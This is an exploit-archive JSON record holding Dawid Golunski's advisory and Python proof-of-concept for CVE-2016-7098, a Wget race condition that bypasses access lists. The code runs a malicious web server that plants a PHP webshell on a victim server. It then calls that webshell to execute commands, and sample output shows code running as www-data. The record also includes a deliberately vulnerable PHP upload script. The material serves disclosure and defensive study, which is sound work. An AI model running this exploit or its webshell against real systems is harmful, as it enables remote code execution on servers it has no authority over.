{"exploit":{"id":"EDB-40824","name":"GNU Wget < 1.18 - Access List Bypass / Race Condition","description":"GNU Wget < 1.18 - Access List Bypass / Race Condition","cves":["CVE-2016-7098"],"author":"Dawid Golunski","published":"2016-11-24","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40824","path":"exploits/multiple/remote/40824.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40824.py","vulnerabilities":[{"id":"CVE-2016-7098","state":"PUBLISHED","title":null,"titleSource":null,"description":"Race condition in wget 1.17 and earlier, when used in recursive or mirroring mode to download a single file, might allow remote servers to bypass intended access list restrictions by keeping an HTTP connection open.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-7098","cvss":{"version":"3.0","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-7098"},"updatedAt":"2024-08-06T01:50:47.394Z","retrievedAt":"2026-11-27T18:11:54.847Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40824.png?v=2","url":"https://exploitbin.com/exploits/EDB-40824","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40824/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40824/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"'''\n=============================================\n- Discovered by: Dawid Golunski\n- dawid[at]legalhackers.com\n- https://legalhackers.com\n- https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html\n\n- CVE-2016-7098\n- Release date: 24.11.2016\n- Revision 1.0\n- Severity: Medium\n=============================================\n\n\nI. VULNERABILITY\n-------------------------\n\nGNU Wget < 1.18       Access List Bypass / Race Condition\n\n\nII. BACKGROUND\n-------------------------\n\n\"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and\nFTP, the most widely-used Internet protocols.\nIt is a non-interactive commandline tool, so it may easily be called from\nscripts, cron jobs, terminals without X-Windows support, etc.\n\nGNU Wget has many features to make retrieving large files or mirroring entire\nweb or FTP sites easy\n\"\n\nhttps://www.gnu.org/software/wget/\n\n\nIII. INTRODUCTION\n-------------------------\n\nGNU wget in version 1.17 and earlier, when used in mirroring/recursive mode,\nis affected by a Race Condition vulnerability that might allow remote attackers\nto bypass intended wget access list restrictions specified with -A parameter.\nThis might allow attackers to place malicious/restricted files onto the system.\nDepending on the application / download directory, this could potentially lead\nto other vulnerabilities such as code execution etc.\n\n\nIV. DESCRIPTION\n-------------------------\n\nWhen wget is used in recursive/mirroring mode, according to the manual it can\ntake the following access list options:\n\n\"Recursive Accept/Reject Options:\n  -A acclist --accept acclist\n  -R rejlist --reject rejlist\n\nSpecify comma-separated lists of file name suffixes or patterns to accept or\nreject. Note that if any of the wildcard characters, *, ?, [ or ], appear in\nan element of acclist or rejlist, it will be treated as a pattern, rather\nthan a suffix.\"\n\n\nThese can for example be used to only download JPG images.\n\nIt was however discovered that when a single file is requested with recursive\noption (-r / -m) and an access list ( -A ), wget only applies the checks at the\nend of the download process.\n\nThis can be observed in the output below:\n\n# wget -r -nH -A '*.jpg' http://attackersvr/test.php\nResolving attackersvr... 192.168.57.1\nConnecting to attackersvr|192.168.57.1|:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: unspecified [text/plain]\nSaving to: â€˜test.phpâ€™\n\n15:05:46 (27.3 B/s) - â€˜test.phpâ€™ saved [52]\n\nRemoving test.php since it should be rejected.\n\nFINISHED\n\n\nAlthough wget deletes the file at the end of the download process, this creates\na race condition as an attacker with control over the URL/remote server could\nintentionally slow down the download process so that they had a chance to make\nuse of the malicious file before it gets deleted.\n\nIt is very easy to win the race as the file only gets deleted after the HTTP\nconnection is terminated. The attacker could therefore keep the connection open\nas long as it was necessary to make use of the uploaded file as demonstrated\nin the proof of concept below.\n\n\nV. PROOF OF CONCEPT EXPLOIT\n------------------------------\n\n\nHere is a simple vulnerable PHP web application that uses wget to download\nimages from a user-provided server/URL:\n\n\n---[ image_importer.php ]---\n\n<?php\n        // Vulnerable webapp [image_importer.php]\n        // Uses wget to import user images from provided site URL\n        // It only accepts JPG files (-A wget option).\n\n        if ( isset($_GET['imgurl']) ) {\n                $URL = escapeshellarg($_GET['imgurl']);\n        } else {\n                die(\"imgurl parameter missing\");\n        }\n\n        if ( !file_exists(\"image_uploads\") ) {\n                mkdir(\"image_uploads\");\n        }\n\n        // Download user JPG images into /image_uploads directory\n        system(\"wget -r -nH -P image_uploads -A '*.jpg' $URL 2>&1\");\n?>\n\n\n----------------------------\n\n\nFor example:\nhttps://victimsvr/image_importer.php?imgurl= href=\"http://images/logo.jpg\">http://images/logo.jpg\n\nwill cause wget to upload logo.jpg file into:\nhttps://victimsvr/images_uploads/logo.jpg\n\nThe wget access list (-A) is to ensure that only .jpg files get uploaded.\n\nHowever due to the wget race condition vulnerability an attacker could use\nthe exploit below to upload an arbitrary PHP script to /image_uploads directory\nand achieve code execution.\n\n\n---[ wget-race-exploit.py ]---\n'''\n\n#!/usr/bin/env python\n\n#\n# Wget < 1.18  Access List Bypass / Race Condition PoC Exploit\n# CVE-2016-7098\n#\n# Dawid Golunski\n# https://legalhackers.com\n#\n#\n# This PoC wget exploit can be used to bypass wget -A access list and upload a malicious\n# file for long enough to take advantage of it.\n# The exploit sets up a web server on port 80 and waits for a download request from wget.\n# It then supplies a PHP webshell payload and requests the uploaded file before it gets\n# removed by wget.\n#\n# Adjust target URL (WEBSHELL_URL) before executing.\n#\n# Full advisory at:\n#\n# https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html\n#\n# Disclaimer:\n#\n# For testing purposes only. Do no harm.\n#\n#\n\nimport SimpleHTTPServer\nimport time\nimport SocketServer\nimport urllib2\nimport sys\n\nHTTP_LISTEN_IP = '0.0.0.0'\nHTTP_LISTEN_PORT = 80\n\nPAYLOAD='''\n<?php\n\t//our webshell\n\tsystem($_GET[\"cmd\"]);\n\tsystem(\"touch /tmp/wgethack\");\n?>\n'''\n\n# Webshell URL to be requested before the connection is closed\n# i.e before the uploaded \"temporary\" file gets removed.\nWEBSHELL_URL=\"http://victimsvr/image_uploads/webshell.php\"\n\n# Command to be executed through 'cmd' GET paramter of the webshell\nCMD=\"/usr/bin/id\"\n\n\nclass wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):\n   def do_GET(self):\n       # Send the payload on GET request\n       print \"[+] Got connection from wget requesting \" + self.path + \" via GET :)\\n\"\n       self.send_response(200)\n       self.send_header('Content-type', 'text/plain')\n       self.end_headers()\n       self.wfile.write(PAYLOAD)\n       print \"\\n[+] PHP webshell payload was sent.\\n\"\n\n       # Wait for the file to be flushed to disk on remote host etc.\n       print \"[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...\\n\"\n       time.sleep(2)\n\n       # Request uploaded webshell\n       print \"[+} File '\" + self.path + \"' should be saved by now :)\\n\"\n       print \"[+} Executing \" + CMD + \" via webshell URL: \" + WEBSHELL_URL + \"?cmd=\" + CMD + \"\\n\"\n       print \"[+} Command result: \"\n       print urllib2.urlopen(WEBSHELL_URL+\"?cmd=\"+CMD).read()\n\n       print \"[+} All done. Closing HTTP connection...\\n\"\n       # Connection will be closed on request handler return\n       return\n\nhandler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)\n\nprint \"\\nWget < 1.18 Access List Bypass / Race Condition PoC Exploit \\nCVE-2016-7098\\n\\nDawid Golunski \\nhttps://legalhackers.com \\n\"\nprint \"[+} Exploit Web server started on HTTP port %s. Waiting for wget to connect...\\n\" % HTTP_LISTEN_PORT\n\nhandler.serve_forever()\n\n'''\n------------------------------\n\nIf the attacker run this exploit on their server ('attackersver') and pointed\nthe vulnerable script image_importer.php at it via URL:\n\nhttps://victimsvr/image_importer.php?imgurl= href=\"http://attackersvr/webshell.php\">http://attackersvr/webshell.php\n\nThe attacker will see output similar to:\n\n\n\nroot@attackersvr:~# ./wget-race-exploit.py\n\nWget < 1.18 Access List Bypass / Race Condition PoC Exploit\nCVE-2016-7098\n\nDawid Golunski\nhttps://legalhackers.com\n\n[+} Exploit Web server started on HTTP port 80. Waiting for wget to connect...\n\n[+] Got connection from wget requesting /webshell.php via GET :)\n\nvictimsvr - - [24/Nov/2016 00:46:18] \"GET /webshell.php HTTP/1.1\" 200 -\n\n[+] PHP webshell payload was sent.\n\n[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...\n\n[+} File '/webshell.php' should be saved by now :)\n\n[+} Executing /usr/bin/id via webshell URL: http://victimsvr/image_uploads/webshell.php?cmd=/usr/bin/id\n\n[+} Command result:\n\nuid=33(www-data) gid=33(www-data) groups=33(www-data),1002(nagcmd)\n\n[+} All done. Closing HTTP connection...\n\n\n\nVI. BUSINESS IMPACT\n-------------------------\n\nThe vulnerability might allow remote servers to bypass intended wget access list\nrestrictions to temporarily store a malicious file on the server.\nIn certain cases, depending on the context wget command was used in and download\npath, this issue could potentially lead to other vulnerabilities such as\nscript execution as shown in the PoC section.\n\nVII. SYSTEMS AFFECTED\n-------------------------\n\nWget < 1.18\n\nVIII. SOLUTION\n-------------------------\n\nUpdate to latest version of wget 1.18 or apply patches provided by the vendor.\n\nIX. REFERENCES\n-------------------------\n\nhttps://legalhackers.com\n\nhttps://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html\n\nhttps://legalhackers.com/exploits/CVE-2016-7098/wget-race-exploit.py\n\nhttps://www.gnu.org/software/wget/\n\nhttps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7098\n\nhttps://security-tracker.debian.org/tracker/CVE-2016-7098\n\nhttp://lists.opensuse.org/opensuse-updates/2016-09/msg00044.html\n\nhttp://lists.gnu.org/archive/html/bug-wget/2016-08/msg00124.html\n\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7098\n\n\nX. CREDITS\n-------------------------\n\nThe vulnerability has been discovered by Dawid Golunski\ndawid (at) legalhackers (dot) com\n\nhttps://legalhackers.com\n\nXI. REVISION HISTORY\n-------------------------\n\n24.11.2016 - Advisory released\n\nXII. LEGAL NOTICES\n-------------------------\n\nThe information contained within this advisory is supplied \"as-is\" with\nno warranties or guarantees of fitness of use or otherwise. I accept no\nresponsibility for any damage caused by the use or misuse of this information.\n'''","sha256":"2fae3bf0ccde8c0aa337c0f33a7563f8649e2e346a01f3832343637f5a0b8863","bytes":9851,"fetchedAt":"2026-11-27T18:11:48.675Z","encoding":"utf-8 (display only; download retains original bytes)"}